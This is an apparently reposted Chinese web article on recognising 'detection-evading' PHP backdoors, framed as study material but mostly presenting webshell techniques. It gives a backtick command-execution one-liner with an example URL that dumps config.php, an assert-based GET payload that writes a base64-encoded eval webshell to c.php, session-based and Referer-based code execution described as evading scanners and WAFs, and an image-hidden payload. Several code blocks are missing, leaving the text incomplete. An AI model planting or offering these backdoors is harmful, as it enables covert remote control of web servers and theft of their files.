加入收藏 | 设为首页 | 会员中心 | 我要投稿 李大同 (https://www.lidatong.com.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 站长学院 > PHP教程 > 正文

教你识别简单的免查杀PHP后门

发布时间:2020-12-12 21:05:08 所属栏目:PHP教程 来源:网络整理
导读:一个最常见的一句话后门可能写作这样 或这样 tudouya 同学在FREEBUF上给出[一种构造技巧]利用 代码如下: 构造生成,当然,嫌太直观可以写作这样 代码如下: 然后再填充些普通代码进行伪装,一个简单的”免杀”shell样本就出现了 我们再来看看号称史上最简单免查

一个最常见的一句话后门可能写作这样

或这样

tudouya 同学在FREEBUF上给出[一种构造技巧]利用

代码如下:

构造生成,当然,嫌太直观可以写作这样

代码如下:

然后再填充些普通代码进行伪装,一个简单的”免杀”shell样本就出现了

我们再来看看号称史上最简单免查杀php后门

直接上代码:

$c=urldecode($_GET['c']);if($c){$c;}//完整

!$_GET['c']||{$_GET['c']};//精简

/***

  • 原理:PHP中``符号包含会当作系统命令执行
  • 示例:http://host/?c=type%20config.php>config.txt
  • 然后就可以下载config.txt查看内容了!
  • 可以试试更变态的命令,不要干坏事哦!
    ***/

其实现原理就是PHP会直接将 ` 符号(注意:不是单引号)包含的内容解析为系统命令执行!这样就可以自由变态地扩展了!

再来看同样很简单的一段代码

密码page

近期捕获一个基于PHP实现的webshell样本,其巧妙的代码动态生成方式,猥琐的自身页面伪装手法,让我们在分析这个样本的过程中感受到相当多的乐趣。接下来就让我们一同共赏这个奇葩的Webshell吧。

Webshell代码如下:

关键看下面这句代码,

代码如下:

这里执行之后其实是一张图片,解密出来的图片地址如下:

然后调用file_get_contents函数读取图片为字符串,然后substr取3649字节之后的内容,再调用gzuncompress解压,得到真正的代码。最后调用preg_replace的修饰符e来执行恶意代码的。这里执行以下语句来还原出恶意样本代码,

代码如下:

无特征隐藏PHP一句话:

将$_POST['code']的内容赋值给$_SESSION['theCode'],然后执行$_SESSION['theCode'],亮点是没有特征码。用扫描工具来检查代码的话,是不会报警的,达到目的了。 超级隐蔽的PHP后门:

仅用GET函数就构成了木马; 利用方法: ?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};

执行后当前目录生成c.php一句话木马,当传参a为eval时会报错木马生成失败,为assert时同样报错,但会生成木马,真可谓不可小视,简简单单的一句话,被延伸到这般应用。 层级请求,编码运行PHP后门: 此方法用两个文件实现,文件1

?>

文件2

$url,CURLOPT_HEADER => FALSE,CURLOPT_RETURNTRANSFER => TRUE,CURLOPT_REFERER => $referer ); curl_setopt_array( $ch,$options ); echocurl_exec( $ch );

?>

通过HTTP请求中的HTTP_REFERER来运行经过base64编码的代码,来达到后门的效果,一般waf对referer这些检测要松一点,或者没有检测。用这个思路bypass waf不错。

我们以一个学习的心态来对待这些PHP后门程序,很多PHP后门代码让我们看到程序员们是多么的用心良苦。

(编辑:李大同)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

    推荐文章
      热点阅读